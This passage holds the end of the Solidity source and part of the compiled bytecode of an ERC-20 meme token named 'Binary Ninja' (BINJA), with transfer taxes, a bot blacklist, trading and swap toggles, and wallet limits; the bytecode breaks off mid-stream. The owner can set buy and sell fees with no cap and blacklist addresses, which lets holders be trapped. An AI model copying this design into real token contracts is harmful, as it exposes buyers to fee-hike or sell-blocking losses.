uint256 amountReceived = takeFees(sender, amount); _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); _balances[recipient] = _balances[recipient].add(amountReceived); emit Transfer(sender, recipient, amountReceived); } function _transferNoTax(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function takeFees(address sender,uint256 amount) internal returns (uint256) { uint256 feeAmount = amount.mul(_taxFee).div(100); _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); return amount.sub(feeAmount); } receive() external payable {} function transferOwnership(address newOwner) public override onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _isExcludedFromFee[owner()] = false; _transferOwnership(newOwner); _isExcludedFromFee[owner()] = true; } function setFees(uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function setIsFeeExempt(address holder, bool exempt) public onlyOwner { _isExcludedFromFee[holder] = exempt; } function toggleTransferDelay() public onlyOwner { transferDelay = !transferDelay; } }
0x6080604052600436106101d05760003560e01c8063715018a6116100f757806395d89b4111610095578063c3c8cd8011610064578063c3c8cd801461065a578063dd62ed3e14610671578063ea1644d5146106ae578063f2fde38b146106d7576101d7565b806395d89b411461058c57806398a5c315146105b7578063a9059cbb146105e0578063bfd792841461061d576101d7565b80638da5cb5b116100d15780638da5cb5b146104f65780638eb59a5f146105215780638f70ccf7146105385780638f9a55c014610561576101d7565b8063715018a61461048b57806374010ece146104a25780637d1db4a5146104cb576101d7565b80632fd689e31161016f578063672434821161013e57806367243482146103d35780636b999053146103fc5780636d8aa8f81461042557806370a082311461044e576101d7565b80632fd689e314610329578063313ce5671461035457806349bd5a5e1461037f578063658d4b7f146103aa576101d7565b80630b78f9c0116101ab5780630b78f9c01461026d5780631694505e1461029657806318160ddd146102c157806323b872dd146102ec576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190612e46565b610700565b005b34801561021157600080fd5b5061021a610811565b6040516102279190612f17565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612f6f565b61084e565b6040516102649190612fca565b60405180910390f35b34801561027957600080fd5b50610294600480360381019061028f9190612fe5565b61086c565b005b3480156102a257600080fd5b506102ab6108fa565b6040516102b89190613084565b60405180910390f35b3480156102cd57600080fd5b506102d6610920565b6040516102e391906130ae565b60405180910390f35b3480156102f857600080fd5b50610313600480360381019061030e91906130c9565b61092a565b6040516103209190612fca565b60405180910390f35b34801561033557600080fd5b5061033e610a03565b60405161034b91906130ae565b60405180910390f35b34801561036057600080fd5b50610369610a09565b6040516103769190613138565b60405180910390f35b34801561038b57600080fd5b50610394610a12565b6040516103a19190613162565b60405180910390f35b3480156103b657600080fd5b506103d160048036038101906103cc91906131a9565b610a38565b005b3480156103df57600080fd5b506103fa60048036038101906103f5919061329a565b610b0f565b005b34801561040857600080fd5b50610423600480360381019061041e919061331b565b610bff565b005b34801561043157600080fd5b5061044c60048036038101906104479190613348565b610cd6565b005b34801561045a57600080fd5b506104756004803603810190610470919061331b565b610d6f565b60405161048291906130ae565b60405180910390f35b34801561049757600080fd5b506104a0610db8565b005b3480156104ae57600080fd5b506104c960048036038101906104c49190613375565b610e40565b005b3480156104d757600080fd5b506104e0610ec6565b6040516104ed91906130ae565b60405180910390f35b34801561050257600080fd5b5061050b610ecc565b6040516105189190613162565b60405180910390f35b34801561052d57600080fd5b50610536610ef5565b005b34801561054457600080fd5b5061055f600480360381019061055a9190613348565b610f9d565b005b34801561056d57600080fd5b50610576611036565b60405161058391906130ae565b60405180910390f35b34801561059857600080fd5b506105a161103c565b6040516105ae9190612f17565b60405180910390f35b3480156105c357600080fd5b506105de60048036038101906105d99190613375565b611079565b005b3480156105ec57600080fd5b5061060760048036038101906106029190612f6f565b6110ff565b6040516106149190612fca565b60405180910390f35b34801561062957600080fd5b50610644600480360381019061063f919061331b565b61111d565b6040516106519190612fca565b60405180910390f35b34801561066657600080fd5b5061066f61113d565b005b34801561067d57600080fd5b50610698600480360381019061069391906133a2565b6111d2565b6040516106a591906130ae565b60405180910390f35b3480156106ba57600080fd5b506106d560048036038101906106d09190613375565b611259565b005b3480156106e357600080fd5b506106fe60048036038101906106f9919061331b565b6112df565b005b610708611495565b73ffffffffffffffffffffffffffffffffffffffff16610726610ecc565b73ffffffffffffffffffffffffffffffffffffffff161461077c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107739061342e565b60405180910390fd5b60005b815181101561080d576001600a60008484815181106107a1576107a061344e565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610805906134ac565b91505061077f565b5050565b60606040518060400160405280600c81526020017f42696e617279204e696e6a610000000000000000000000000000000000000000815250905090565b600061086261085b611495565b848461149d565b6001905092915050565b610874611495565b73ffffffffffffffffffffffffffffffffffffffff16610892610ecc565b73ffffffffffffffffffffffffffffffffffffffff16146108e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108df9061342e565b60405180910390fd5b81600681905550806007819055505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600554905090565b6000610937848484611668565b6109f884610943611495565b6109f385604051806060016040528060288152602001613f9060289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109a9611495565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ffe9092919063ffffffff16565b61149d565b600190509392505050565b60105481565b60006009905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610a40611495565b73ffffffffffffffffffffffffffffffffffffffff16610a5e610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610ab4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aab9061342e565b60405180910390fd5b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b610b17611495565b73ffffffffffffffffffffffffffffffffffffffff16610b35610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610b8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b829061342e565b60405180910390fd5b60005b84849050811015610bf857610be433868684818110610bb057610baf61344e565b5b9050602002016020810190610bc5919061331b565b858585818110610bd857610bd761344e565b5b90506020020135612062565b508080610bf0906134ac565b915050610b8e565b5050505050565b610c07611495565b73ffffffffffffffffffffffffffffffffffffffff16610c25610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c729061342e565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610cde611495565b73ffffffffffffffffffffffffffffffffffffffff16610cfc610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610d52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d499061342e565b60405180910390fd5b80600d60166101000a81548160ff02191690831515021790555050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610dc0611495565b73ffffffffffffffffffffffffffffffffffffffff16610dde610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610e34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2b9061342e565b60405180910390fd5b610e3e6000612235565b565b610e48611495565b73ffffffffffffffffffffffffffffffffffffffff16610e66610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610ebc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb39061342e565b60405180910390fd5b80600e8190555050565b600e5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610efd611495565b73ffffffffffffffffffffffffffffffffffffffff16610f1b610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610f71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f689061342e565b60405180910390fd5b600d60179054906101000a900460ff1615600d60176101000a81548160ff021916908315150217905550565b610fa5611495565b73ffffffffffffffffffffffffffffffffffffffff16610fc3610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614611019576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110109061342e565b60405180910390fd5b80600d60146101000a81548160ff02191690831515021790555050565b600f5481565b60606040518060400160405280600581526020017f42494e4a41000000000000000000000000000000000000000000000000000000815250905090565b611081611495565b73ffffffffffffffffffffffffffffffffffffffff1661109f610ecc565b73ffffffffffffffffffffffffffffffffffffffff16146110f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ec9061342e565b60405180910390fd5b8060108190555050565b600061111361110c611495565b8484611668565b6001905092915050565b600a6020528060005260406000206000915054906101000a900460ff1681565b611145611495565b73ffffffffffffffffffffffffffffffffffffffff16611163610ecc565b73ffffffffffffffffffffffffffffffffffffffff16146111b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b09061342e565b60405180910390fd5b60006111c430610d6f565b90506111cf816122f9565b50565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611261611495565b73ffffffffffffffffffffffffffffffffffffffff1661127f610ecc565b73ffffffffffffffffffffffffffffffffffffffff16146112d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112cc9061342e565b60405180910390fd5b80600f8190555050565b6112e7611495565b73ffffffffffffffffffffffffffffffffffffffff16611305610ecc565b73ffffffffffffffffffffffffffffffffffffffff161461135b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113529061342e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c290613567565b60405180910390fd5b6000600460006113d9610ecc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061143381612235565b600160046000611441610ecc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561150d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611504906135f9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561157d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115749061368b565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161165b91906130ae565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116cf9061371d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611748576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173f906137af565b60405180910390fd5b6000811161178b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178290613841565b60405180910390fd5b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561182f5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611c8757600d60149054906101000a900460ff16611883576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187a906138ad565b60405180910390fd5b600e548111156118c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118bf90613919565b60405180910390fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561196c5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6119ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a2906139ab565b60405180910390fd5b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611baa57600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611a695750600d60179054906101000a900460ff165b15611b52574260b4600260003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611abb91906139cb565b108015611b1257504260b4600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b1091906139cb565b105b611b51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b4890613a93565b60405180910390fd5b5b600f5481611b5f84610d6f565b611b6991906139cb565b10611ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba090613b25565b60405180910390fd5b5b6000611bb530610d6f565b9050600060105482101590506010548210611bd05760105491505b808015611bea5750600d60159054906101000a900460ff16155b8015611c445750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611c5c5750600d60169054906101000a900460ff165b15611c8457611c6a826122f9565b60004790506000811115611c8257611c814761260c565b5b505b50505b600060019050600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d2e5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611de15750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611de05750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611def5760009050611f64565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611e9a5750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611ea9576006546008819055505b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611f545750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611f63576007546008819055505b5b42600260003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555042600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ff884848484612678565b50505050565b6000838311158290612046576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161203d9190612f17565b60405180910390fd5b50600083856120559190613b45565b9050809150509392505050565b60006120ed826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ffe9092919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061218282600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126a090919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161222291906130ae565b60405180910390a3600190509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6001600d60156101000a81548160ff021916908315150217905550600061233d606461232f6055856126fe90919063ffffffff16565b61277990919063ffffffff16565b90506000818361234d9190613b45565b905060004790506000600267ffffffffffffffff81111561237157612370612ca5565b5b60405190808252806020026020018201604052801561239f5781602001602082028036833780820191505090505b50905030816000815181106123b7576123b661344e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561245957600080fd5b505afa15801561246d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124919190613b8e565b816001815181106124a5576124a461344e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061250c30600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168761149d565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478560008430426040518663ffffffff1660e01b8152600401612570959493929190613cb4565b600060405180830381600087803b15801561258a57600080fd5b505af115801561259e573d6000803e3d6000fd5b5050505060006125b783476127c390919063ffffffff16565b90506125e9846125e460646125d6600f866126fe90919063ffffffff16565b61277990919063ffffffff16565b61280d565b50505050506000600d60156101000a81548160ff02191690831515021790555050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612674573d6000803e3d6000fd5b5050565b8061268e57612688848484612062565b5061269a565b6126998484846128fb565b5b50505050565b60008082846126af91906139cb565b9050838110156126f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126eb90613d5a565b60405180910390fd5b8091505092915050565b6000808314156127115760009050612773565b6000828461271f9190613d7a565b905082848261272e9190613e03565b1461276e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161276590613ea6565b60405180910390fd5b809150505b92915050565b60006127bb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612ad5565b905092915050565b600061280583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ffe565b905092915050565b61283a30600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461149d565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7198230856000806000426040518863ffffffff1660e01b81526004016128a296959493929190613ec6565b6060604051808303818588803b1580156128bb57600080fd5b505af11580156128cf573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906128f49190613f3c565b5050505050565b60006129078483612b38565b9050612992826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ffe9092919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612a2781600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126a090919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612ac791906130ae565b60405180910390a350505050565b60008083118290612b1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b139190612f17565b60405180910390fd5b5060008385612b2b9190613e03565b9050809150509392505050565b600080612b636064612b55600854866126fe90919063ffffffff16565b61277990919063ffffffff16565b9050612bb781600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126a090919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612c5791906130ae565b60405180910390a3612c7281846127c390919063ffffffff16565b91505092915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612cdd82612c94565b810181811067ffffffffffffffff82111715612cfc57612cfb612ca5565b5b80604052505050565b6000612d0f612c7b565b9050612d1b8282612cd4565b919050565b600067ffffffffffffffff821115612d3b57612d3a612ca5565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612d7c82612d51565b9050919050565b612d8c81612d71565b8114612d9757600080fd5b50565b600081359050612da981612d83565b92915050565b6000612dc2612dbd84612d20565b612d05565b90508083825260208201905060208402830185811115612de557612de4612d4c565b5b835b81811015612e0e5780612dfa8882612d9a565b845260208401935050602081019050612de7565b5050509392505050565b600082601f830112612e2d57612e2c612c8f565b5b8135612e3d848260208601612daf565b91505092915050565b600060208284031215612e5c57612e5b612c85565b5b600082013567ffffffffffffffff811115612e7a57612e79612c8a565b5b612e8684828501612e18565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612ec9578082015181840152602081019050612eae565b83811115612ed8576000848401525b50505050565b6000612ee982612e8f565b612ef38185612e9a565b9350612f03818560208601612eab565b612f0c81612c94565b840191505092915050565b60006020820190508181036000830152612f318184612ede565b905092915050565b6000819050919050565b612f4c81612f39565b8114612f5757600080fd5b50565b600081359050612f6981612f43565b92915050565b60008060408385031215612f8657612f85612c85565b5b6000612f9485828601612d9a565b9250506020612fa585828601612f5a565b9150509250929050565b60008115159050919050565b612fc481612faf565b82525050565b6000602082019050612fdf6000830184612fbb565b92915050565b60008060408385031215612ffc57612ffb612c85565b5b600061300a85828601612f5a565b925050602061301b85828601612f5a565b9150509250929050565b6000819050919050565b600061304a61304561304084612d51565b613025565b612d51565b9050919050565b600061305c8261302f565b9050919050565b600061306e82613051565b9050919050565b61307e81613063565b82525050565b60006020820190506130996000830184613075565b92915050565b6130a881612f39565b82525050565b60006020820190506130c3600083018461309f565b92915050565b6000806000606084860312156130e2576130e1612c85565b5b60006130f086828701612d9a565b935050602061310186828701612d9a565b925050604061311286828701612f5a565b9150509250925092565b600060ff82169050919050565b6131328161311c565b82525050565b600060208201905061314d6000830184613129565b92915050565b61315c81612d71565b82525050565b60006020820190506131776000830184613153565b92915050565b61318681612faf565b811461319157600080fd5b50565b6000813590506131a38161317d565b92915050565b600080604083850312156131c0576131bf612c85565b5b60006131ce85828601612d9a565b92505060206131df85828601613194565b9150509250929050565b600080fd5b60008083601f84011261320457613203612c8f565b5b8235905067ffffffffffffffff811115613221576132206131e9565b5b60208301915083602082028301111561323d5761323c612d4c565b5b9250929050565b60008083601f84011261325a57613259612c8f565b5b8235905067ffffffffffffffff811115613277576132766131e9565b5b60208301915083602082028301111561329357613292612d4c565b5b9250929050565b600080600080604085870312156132b4576132b3612c85565b5b600085013567ffffffffffffffff8111156132d2576132d1612c8a565b5b6132de878288016131ee565b9450945050602085013567ffffffffffffffff81111561330157613300612c8a565b5b61330d87828801613244565b925092505092959194509250565b60006020828403121561333157613330612c85565b5b600061333f84828501612d9a565b91505092915050565b60006020828403121561335e5761335d612c85565b5b600061336c84828501613194565b91505092915050565b60006020828403121561338b5761338a612c85565b5b600061339984828501612f5a565b91505092915050565b600080604083850312156133b9576133b8612c85565b5b60006133c785828601612d9a565b92505060206133d885828601612d9a565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613418602083612e9a565b9150613423826133e2565b602082019050919050565b600060208201905081810360008301526134478161340b565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006134b782612f39565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156134ea576134e961347d565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613551602683612e9a565b915061355c826134f5565b604082019050919050565b6000602082019050818103600083015261358081613544565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006135e3602483612e9a565b91506135ee82613587565b604082019050919050565b60006020820190508181036000830152613612816135d6565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613675602283612e9a565b915061368082613619565b604082019050919050565b600060208201905081810360008301526136a481613668565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613707602583612e9a565b9150613712826136ab565b604082019050919050565b60006020820190508181036000830152613736816136fa565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613799602383612e9a565b91506137a48261373d565b604082019050919050565b600060208201905081810360008301526137c88161378c565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061382b602983612e9a565b9150613836826137cf565b604082019050919050565b6000602082019050818103600083015261385a8161381e565b9050919050565b7f544f4b454e3a2054726164696e67206e6f742079657420737461727465640000600082015250565b6000613897601e83612e9a565b91506138a282613861565b602082019050919050565b600060208201905081810360008301526138c68161388a565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b6000613903601c83612e9a565b915061390e826138cd565b602082019050919050565b60006020820190508181036000830152613932816138f6565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b6000613995602383612e9a565b91506139a082613939565b604082019050919050565b600060208201905081810360008301526139c481613988565b9050919050565b60006139d682612f39565b91506139e183612f39565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613a1657613a1561347d565b5b828201905092915050565b7f544f4b454e3a2033206d696e7574657320636f6f6c646f776e2062657477656560008201527f6e20627579730000000000000000000000000000000000000000000000000000602082015250565b6000613a7d602683612e9a565b9150613a8882613a21565b604082019050919050565b60006020820190508181036000830152613aac81613a70565b9050919050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b6000613b0f602383612e9a565b9150613b1a82613ab3565b604082019050919050565b60006020820190508181036000830152613b3e81613b02565b9050919050565b6000613b5082612f39565b9150613b5b83612f39565b925082821015613b6e57613b6d61347d565b5b828203905092915050565b600081519050613b8881612d83565b92915050565b600060208284031215613ba457613ba3612c85565b5b6000613bb284828501613b79565b91505092915050565b6000819050919050565b6000613be0613bdb613bd684613bbb565b613025565b612f39565b9050919050565b613bf081613bc5565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613c2b81612d71565b82525050565b6000613c3d8383613c22565b60208301905092915050565b6000602082019050919050565b6000613c6182613bf6565b613c6b8185613c01565b9350613c7683613c12565b8060005b83811015613ca7578151613c8e8882613c31565b9750613c9983613c49565b925050600181019050613c7a565b5085935050505092915050565b600060a082019050613cc9600083018861309f565b613cd66020830187613be7565b8181036040830152613ce88186613c56565b9050613cf76060830185613153565b613d04608083018461309f565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613d44601b83612e9a565b9150613d4f82613d0e565b602082019050919050565b6000602082019050818103600083015261